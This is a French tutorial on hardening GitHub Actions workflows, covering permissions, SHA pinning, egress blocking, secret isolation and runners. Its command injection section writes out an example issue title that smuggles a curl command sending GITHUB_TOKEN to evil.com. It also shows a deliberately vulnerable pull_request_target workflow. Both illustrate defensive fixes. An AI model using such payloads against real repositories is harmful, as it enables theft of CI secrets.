Aller au contenu

Sécurité GitHub Actions : protéger vos pipelines CI/CD

Mise à jour :

Un workflow GitHub Actions mal configuré peut exfiltrer tous vos secrets, injecter du code malveillant dans vos artefacts, ou compromettre vos environnements de production. Les pipelines CI/CD sont devenus le vecteur d’attaque n°1 sur la supply chain logicielle.

Ce guide centralise les bonnes pratiques de sécurité pour vos workflows GitHub Actions. Il complète le guide général GitHub Actions et s’inscrit dans la stratégie globale de sécurité de la supply chain.

Pourquoi les pipelines sont une cible prioritaire

Un pipeline CI/CD dispose d’accès privilégiés :

AccèsRisque si compromis
Secrets (tokens, credentials)Exfiltration, accès aux systèmes tiers
Code sourceInjection de backdoors
Artefacts (images, binaires)Distribution de malware
Environnements (staging, prod)Déploiement de code malveillant
Registres (Docker Hub, npm)Publication de versions compromises

L’attaque tj-actions/changed-files (mars 2025) a démontré qu’une seule action compromise peut exfiltrer les secrets de milliers de dépôts en quelques heures.

Principe de moindre privilège

Le principe de moindre privilège (ou least privilege) consiste à n’accorder que les permissions strictement nécessaires à l’exécution d’une tâche. C’est un pilier de la sécurité : si un composant est compromis, les dégâts restent limités à ce qu’il pouvait faire.

Comment GitHub Actions gère les permissions

Chaque workflow s’exécute avec un GITHUB_TOKEN généré automatiquement. Ce token permet d’interagir avec l’API GitHub (cloner le repo, créer des issues, publier des packages, etc.).

Par défaut, les permissions de ce token dépendent de la configuration du dépôt :

  • Dépôts créés après février 2023 : permissions restreintes (contents: read et metadata: read uniquement)
  • Dépôts plus anciens : permissions larges par défaut (lecture ET écriture sur la plupart des scopes)

Le problème ? Beaucoup de dépôts existants ont encore des permissions larges par défaut. Un workflow qui n’a besoin que de lire le code se retrouve avec la capacité de modifier des fichiers, créer des releases, ou publier des packages.

Permissions au niveau workflow

Même avec des paramètres restrictifs au niveau du dépôt, déclarez toujours explicitement les permissions dans vos workflows. Cela documente les besoins réels et protège contre un changement accidentel des paramètres du dépôt :

name: Build and Test
# Permissions par défaut pour tout le workflow
permissions:
contents: read # Lecture du code uniquement
on:
push:
branches: [main]
jobs:
build:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- run: npm ci && npm test

Permissions par job

Pour les workflows complexes avec plusieurs jobs aux besoins différents, vous pouvez affiner les permissions au niveau de chaque job. Le job test n’a besoin que de lire le code, tandis que publish doit pouvoir écrire sur GitHub Packages :

jobs:
test:
runs-on: ubuntu-24.04
permissions:
contents: read
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- run: npm test
publish:
needs: test
runs-on: ubuntu-24.04
permissions:
contents: read
packages: write # Uniquement pour ce job
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- run: npm publish

Si le job test était compromis (par exemple via une dépendance malveillante), l’attaquant ne pourrait pas publier de package : il n’a pas la permission packages: write.

Comprendre les permissions disponibles

GitHub Actions propose une dizaine de permissions, chacune contrôlant l’accès à une partie de l’API GitHub. Voici les plus courantes et leur niveau de risque :

PermissionUsageRisque si abusée
contents: readCloner le repoFaible
contents: writePousser, créer des releasesInjection de code
packages: writePublier sur GitHub PackagesDistribution de malware
actions: writeModifier les workflowsPersistance
id-token: writeOIDC pour cloud providersAccès infrastructure
security-events: writeUpload SARIFMasquer des alertes

Scorecard Token-Permissions : workflow-level vs job-level

OpenSSF Scorecard audite la sécurité de vos dépôts et inclut un check Token-Permissions qui vérifie que vos workflows respectent le principe du moindre privilège. Ce check est très strict : il exige que les permissions write soient déclarées au niveau job, pas au niveau workflow.

Pourquoi cette distinction ?

  • Permissions workflow-level : s’appliquent à tous les jobs du workflow
  • Permissions job-level : s’appliquent uniquement au job concerné

Si un job est compromis, seules ses permissions sont exposées. Avec des permissions workflow-level, tous les jobs héritent des mêmes droits, même s’ils n’en ont pas besoin.

❌ Score Scorecard : 0/10 (permissions write au niveau workflow)

name: Build and Publish
permissions:
contents: read
packages: write # ⚠️ Tous les jobs ont packages:write
id-token: write
jobs:
test:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- run: npm test
publish:
needs: test
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- run: npm publish

✅ Score Scorecard : 10/10 (permissions minimales + write au niveau job)

name: Build and Publish
# Permissions minimales au niveau workflow
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-24.04
# Pas de permissions supplémentaires nécessaires
permissions:
contents: read
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- run: npm test
publish:
needs: test
runs-on: ubuntu-24.04
# Permissions write uniquement pour ce job
permissions:
contents: read
packages: write
id-token: write
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- run: npm publish

Cas réel : devops-status-api

Lors d’un audit Scorecard, le score Token-Permissions était à 0/10 malgré des permissions explicites. La correction a consisté à déplacer packages: write et security-events: write du niveau workflow vers les jobs qui en avaient besoin :

AvantAprèsImpact
Score global : 7.4/10Score global : 8.5/10+1.1 point
Token-Permissions : 0/10Token-Permissions : 10/10+10 points

Épinglage des actions tierces

La puissance de GitHub Actions vient en grande partie de son écosystème d’actions réutilisables. Plutôt que de réécrire la logique pour cloner un repo, publier une image Docker ou déployer sur AWS, vous utilisez des actions créées par GitHub, des éditeurs, ou la communauté.

Le problème ? Vous exécutez du code tiers dans votre pipeline, avec accès à vos secrets et à votre code source. C’est exactement ce qu’exploitent les attaques supply chain.

Comment fonctionne le versioning des actions

Quand vous écrivez uses: actions/checkout@v4, GitHub résout cette référence ainsi :

  1. Il cherche le dépôt github.com/actions/checkout
  2. Il cherche le tag Git v4
  3. Il télécharge et exécute le code correspondant à ce tag

Le problème : un tag Git est mutable. Le mainteneur peut le déplacer vers n’importe quel commit à tout moment. Ce mécanisme, pratique pour recevoir automatiquement les correctifs de sécurité, devient un vecteur d’attaque si le compte du mainteneur est compromis.

Le problème des tags mutables

Un tag comme @v4 peut être redirigé vers n’importe quel commit :

# ❌ Dangereux : tag mutable
- uses: actions/checkout@v4

Si le mainteneur (ou un attaquant qui a compromis son compte) modifie le tag, votre workflow exécutera un code différent sans que vous le sachiez.

C’est exactement ce qui s’est passé avec l’attaque tj-actions/changed-files en mars 2025 : l’attaquant a modifié les tags existants pour pointer vers du code malveillant, affectant instantanément tous les workflows qui utilisaient ces tags.

Solution : épingler sur SHA

Un commit SHA (Secure Hash Algorithm) est une empreinte cryptographique unique et immuable. Contrairement à un tag, personne ne peut modifier le contenu d’un commit sans changer son SHA :

# ✅ Sécurisé : SHA immuable
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

Même si un attaquant compromet le dépôt de l’action, votre workflow continuera d’utiliser exactement le code que vous avez validé.

Obtenir le SHA d’une action

Pour récupérer le SHA correspondant à un tag :

Terminal window
# Via l'API GitHub
curl -s https://api.github.com/repos/actions/checkout/commits/v4 | jq -r .sha
# Via la CLI gh
gh api repos/actions/checkout/commits/v4 --jq .sha

Pour plus de détails sur ces commandes, consultez les guides curl et jq.

Automatiser l’épinglage avec StepSecurity

Convertir manuellement tous les tags en SHA est fastidieux. StepSecurity propose plusieurs outils pour automatiser ce travail.

Étape 1 : convertir les tags en SHA

Rendez-vous sur app.stepsecurity.io. Collez le contenu de votre workflow YAML, et l’outil génère automatiquement une version avec tous les tags convertis en SHA.

Vous pouvez aussi utiliser l’outil CLI pin-github-action :

Terminal window
# Installer l'outil
npm install -g pin-github-action
# Convertir un workflow
pin-github-action .github/workflows/ci.yml
# Résultat : le fichier est modifié avec les SHA

Étape 2 : ajouter Harden Runner (optionnel mais recommandé)

L’action harden-runner surveille ce que fait votre workflow pendant son exécution. Elle détecte les connexions réseau sortantes, ce qui permet d’identifier une exfiltration de données (un attaquant qui envoie vos secrets vers un serveur externe).

Ajoutez-la comme première étape de chaque job :

name: Hardened Workflow
permissions:
contents: read
on:
push:
branches: [main]
jobs:
build:
runs-on: ubuntu-24.04
steps:
# DOIT être la première étape du job
- name: Harden Runner
uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6
with:
egress-policy: audit
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- run: npm ci && npm test

Étape 3 : analyser les connexions sortantes

Après l’exécution du workflow, consultez le tableau de bord StepSecurity (lien affiché dans les logs du job). Vous verrez toutes les connexions réseau effectuées :

DestinationUsage légitime
github.comCloner le repo, API GitHub
registry.npmjs.orgTélécharger les dépendances npm
objects.githubusercontent.comTélécharger des releases

Si vous voyez une destination inconnue (ex: evil-server.com), c’est le signe d’une compromission.

Étape 4 : passer en mode blocage

Une fois les destinations légitimes identifiées, passez en mode block pour empêcher toute connexion non autorisée :

- name: Harden Runner
uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6
with:
egress-policy: block
allowed-endpoints: >
github.com:443
registry.npmjs.org:443
objects.githubusercontent.com:443

Toute connexion vers une destination non listée fera échouer le workflow. C’est une protection efficace contre l’exfiltration de secrets, même si une action tierce est compromise.

Gestion des secrets

Les secrets sont les informations sensibles dont vos workflows ont besoin : tokens d’API, mots de passe de bases de données, clés SSH, credentials cloud. Ils représentent la cible principale des attaquants car ils donnent accès à vos systèmes externes.

GitHub Actions propose un mécanisme de secrets intégré : vous stockez les valeurs dans les paramètres du dépôt, et vous y accédez via ${{ secrets.NOM }}. GitHub masque automatiquement ces valeurs dans les logs (en théorie).

Mais ce mécanisme a des limites :

  • Tous les workflows ont accès à tous les secrets du dépôt par défaut
  • Les logs peuvent fuiter si vous manipulez mal les secrets
  • Pas de séparation entre environnements (dev/staging/prod)

Comprendre les niveaux de secrets

GitHub propose trois niveaux de secrets, du plus large au plus restreint :

NiveauPortéeCas d’usage
OrganisationTous les dépôts de l’orgCredentials partagés (registry, cloud)
DépôtTous les workflows du dépôtSecrets spécifiques au projet
EnvironnementUn environnement spécifiqueIsolation staging/prod

Pour la production, utilisez toujours les secrets d’environnement.

Isolation par environnement

Les environnements GitHub permettent de créer des contextes d’exécution séparés, chacun avec ses propres secrets et règles de protection. Un job qui s’exécute dans l’environnement staging n’a pas accès aux secrets de production.

Pour créer un environnement : Settings > Environments > New environment.

Ensuite, liez vos jobs à un environnement :

jobs:
deploy-staging:
runs-on: ubuntu-24.04
environment: staging # Accès uniquement aux secrets de staging
steps:
- run: deploy --token ${{ secrets.DEPLOY_TOKEN }}
deploy-production:
needs: deploy-staging
runs-on: ubuntu-24.04
environment: production # Secrets différents, même nom de variable
steps:
- run: deploy --token ${{ secrets.DEPLOY_TOKEN }}

Dans cet exemple, DEPLOY_TOKEN existe dans les deux environnements, mais avec des valeurs différentes. Le token de staging n’a pas accès à la production, et vice versa.

Protection des environnements

Les environnements permettent d’ajouter des garde-fous avant déploiement. Dans Settings > Environments > [votre environnement], configurez :

ProtectionDescriptionRecommandation prod
Required reviewersUn humain doit approuver1-2 reviewers
Wait timerDélai avant exécution5-15 minutes
Deployment branchesBranches autoriséesmain uniquement

Le wait timer est particulièrement utile : si vous détectez un problème juste après le merge, vous avez quelques minutes pour annuler le déploiement.

Ne jamais exposer les secrets dans les logs

GitHub masque automatiquement les secrets dans les logs, mais ce masquage a des limites. Il ne fonctionne que si la valeur exacte apparaît. Si vous manipulez le secret (encodage base64, concaténation), le masquage échoue.

Règle d’or : ne jamais passer un secret directement dans une commande shell.

# ❌ Dangereux : interpolation directe dans le shell
- run: echo "Token: ${{ secrets.API_TOKEN }}"
# ❌ Dangereux : le secret apparaît dans la commande (visible dans les logs de debug)
- run: curl -H "Authorization: Bearer ${{ secrets.API_TOKEN }}" https://api.example.com
# ✅ Passer par une variable d'environnement
- run: curl -H "Authorization: Bearer $API_TOKEN" https://api.example.com
env:
API_TOKEN: ${{ secrets.API_TOKEN }}

Avec la méthode correcte, le secret est injecté dans l’environnement du processus, pas dans la ligne de commande. Il n’apparaît pas dans l’historique ni dans les logs de debug.

Détection de secrets exposés

Malgré toutes les précautions, des secrets peuvent se retrouver dans le code (copier-coller malheureux, fichier de config commité par erreur). Ajoutez un scan automatique dans votre pipeline :

- name: Scan for secrets
uses: gitleaks/gitleaks-action@cb7149a9b57195b609c63e8518d2c6056677d2d0
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

Gitleaks analyse le code et les commits à la recherche de patterns de secrets (tokens AWS, clés API, mots de passe). Le workflow échoue si un secret est détecté, bloquant le merge.

Pour aller plus loin, voir le guide Gitleaks.

Runners sécurisés

Un runner est la machine qui exécute vos workflows. C’est l’environnement où votre code est cloné, vos tests exécutés, vos artefacts construits. Si cette machine est compromise, l’attaquant a accès à tout ce que le workflow peut faire.

GitHub propose deux types de runners :

  • GitHub-hosted : machines virtuelles gérées par GitHub
  • Self-hosted : machines que vous gérez vous-même

Runners GitHub-hosted : le choix par défaut

Les runners GitHub-hosted sont des VM éphémères créées pour chaque job et détruites immédiatement après. Cette isolation forte est leur principal avantage sécurité :

  • Chaque job démarre sur une machine “propre”
  • Pas de persistance entre les exécutions
  • Pas de risque qu’un job compromis affecte les suivants

C’est le choix recommandé pour la majorité des cas d’usage.

Runners GitHub-hosted vs self-hosted

AspectGitHub-hostedSelf-hosted
IsolationVM éphémère, détruite après le jobPersistant par défaut
CoûtInclus (limites gratuites)Infrastructure à gérer
ContrôleLimitéTotal
RisqueFaible (isolation forte)Élevé si mal configuré
RéseauInternet publicAccès réseau interne possible

Pourquoi utiliser des runners self-hosted ?

Malgré les risques, les runners self-hosted ont des cas d’usage légitimes :

  • Accès réseau interne : déployer sur des serveurs non exposés à Internet
  • Hardware spécifique : GPU, architecture ARM, grande capacité mémoire
  • Coût : pour les gros volumes, c’est souvent moins cher
  • Conformité : certaines régulations imposent que le code ne quitte pas votre infra

Sécuriser les runners self-hosted

Le principal risque des runners self-hosted est la persistance. Si un workflow malveillant s’exécute, il peut :

  • Laisser des backdoors sur la machine
  • Voler des credentials présents sur le disque
  • Affecter les jobs suivants qui s’exécutent sur le même runner

Pour mitiger ces risques :

  1. Éphémères : détruire le runner après chaque job

    Configurez vos runners pour qu’ils se terminent après un seul job. Le label ephemeral est une convention, mais c’est votre infrastructure qui doit implémenter ce comportement :

    jobs:
    build:
    runs-on: [self-hosted, ephemeral]
  2. Isolés : un pool de runners par environnement

    Ne mélangez pas les runners de dev et de prod. Un workflow de dev compromis ne doit pas pouvoir affecter la production. Créez des pools séparés avec des labels distincts (self-hosted-dev, self-hosted-prod).

  3. Restreints : limiter les dépôts autorisés

    Dans les paramètres de l’organisation, configurez quels dépôts peuvent utiliser quels runners. Un dépôt public ne devrait jamais avoir accès à vos runners self-hosted.

  4. Surveillés : logs centralisés et alertes

    Envoyez les logs des runners vers un SIEM. Configurez des alertes sur les comportements anormaux : connexions réseau inhabituelles, création de processus suspects, modification de fichiers système.

GARM : gestion des runners à l’échelle

Gérer des runners éphémères manuellement est complexe. GARM (GitHub Actions Runner Manager) automatise la création et destruction de runners à la demande, avec support pour plusieurs providers cloud (AWS, Azure, GCP, OpenStack, LXD).

Protection contre les attaques courantes

Au-delà des permissions et des secrets, certaines vulnérabilités sont spécifiques à la façon dont GitHub Actions fonctionne. Voici les plus courantes et comment s’en protéger.

Injection de commandes

C’est la vulnérabilité la plus fréquente. Elle survient quand vous insérez des données contrôlées par un utilisateur directement dans une commande shell.

Le problème : GitHub Actions utilise la syntaxe ${{ }} pour l’interpolation. Cette interpolation se fait avant l’exécution du shell, sans échappement :

# ❌ Vulnérable à l'injection
- run: echo "Issue: ${{ github.event.issue.title }}"

Si un attaquant crée une issue avec le titre :

Terminal window
"; curl https://evil.com/steal?token=$GITHUB_TOKEN #

La commande exécutée devient :

Terminal window
echo "Issue: "; curl https://evil.com/steal?token=$GITHUB_TOKEN #"

L’attaquant vient d’exfiltrer votre GITHUB_TOKEN.

Solution : passer les données utilisateur via des variables d’environnement. Le shell les traite comme des valeurs, pas comme du code :

# ✅ Sécurisé : la valeur est échappée par le shell
- run: echo "Issue: $ISSUE_TITLE"
env:
ISSUE_TITLE: ${{ github.event.issue.title }}

Cette règle s’applique à toutes les données contrôlées par des utilisateurs : titres d’issues, noms de branches, messages de commit, labels, corps de PR, etc.

Pull requests de forks

Quand quelqu’un fork votre dépôt et ouvre une PR, son code s’exécute dans votre pipeline. C’est un vecteur d’attaque classique : modifier le workflow ou le code pour exfiltrer vos secrets.

GitHub a deux événements pour les PRs :

ÉvénementAccès aux secretsCode exécuté
pull_request❌ Non (pour les forks)Code du fork
pull_request_target✅ OuiCode de la branche cible

pull_request_target est dangereux car il donne accès aux secrets tout en pouvant exécuter du code modifié par le fork (si vous faites un checkout de la PR).

# ⚠️ Dangereux : accès aux secrets + code du fork
on:
pull_request_target:
types: [opened, synchronize]
jobs:
build:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
with:
ref: ${{ github.event.pull_request.head.sha }} # Code du fork !
- run: npm test # Exécute le code malveillant avec accès aux secrets

Solution : utilisez pull_request pour les PRs de forks. Les secrets ne sont pas accessibles, ce qui limite les dégâts :

# ✅ Sécurisé : pas d'accès aux secrets pour les forks
on:
pull_request:
types: [opened, synchronize]

Si vous avez vraiment besoin de pull_request_target (rare), ne faites jamais de checkout du code de la PR.

Workflow dispatch avec inputs

L’événement workflow_dispatch permet de déclencher un workflow manuellement avec des paramètres. Ces paramètres sont des inputs utilisateur, donc potentiellement malveillants.

Deux protections essentielles :

  1. Limiter les valeurs possibles avec type: choice
  2. Restreindre qui peut déclencher avec une condition if
on:
workflow_dispatch:
inputs:
environment:
description: 'Environment to deploy'
required: true
type: choice # Liste fermée, pas de saisie libre
options:
- staging
- production
jobs:
deploy:
# Seuls certains utilisateurs peuvent déclencher
if: contains('["alice", "bob", "deploy-bot"]', github.actor)
runs-on: ubuntu-24.04
steps:
# L'input est safe car c'est un choice, mais bonne pratique quand même
- run: deploy --env "$DEPLOY_ENV"
env:
DEPLOY_ENV: ${{ inputs.environment }}

Checklist sécurité workflow

Avant chaque merge d’un workflow :

  • Permissions définies explicitement et minimales
  • Actions tierces épinglées sur SHA (pas de @v1, @latest)
  • Secrets isolés par environnement
  • Pas d’injection : inputs utilisés via variables d’environnement
  • Pas de pull_request_target sans raison impérative
  • Scan de secrets (Gitleaks, TruffleHog) dans le pipeline
  • Revue de code du workflow comme du code applicatif

Outils recommandés

OutilUsage
StepSecurity Harden RunnerDurcissement automatique, détection d’exfiltration
CheckovScanner IaC (Terraform, Kubernetes, Dockerfiles, workflows GitHub Actions)
ScorecardAudit de la posture sécurité du dépôt (Token-Permissions, Pinned-Dependencies…)
GitleaksDétection de secrets dans les commits
pin-github-actionConvertir les tags en SHA
GARMRunners éphémères auto-scalés

À retenir

  1. Moindre privilège : permissions explicites et minimales, jamais write-all

  2. Permissions job-level : les write au niveau job, pas workflow (Scorecard Token-Permissions)

  3. Épinglage SHA : ne jamais faire confiance aux tags mutables (@v1, @latest)

  4. Isolation des secrets : environnements séparés, approbation pour la prod

  5. Runners éphémères : détruire l’environnement après chaque job

  6. Validation des inputs : traiter tout input externe comme potentiellement malveillant

  7. Audit régulier : lancez Scorecard et Checkov pour détecter les dérives

Liens utiles

Guides internes

Ressources externes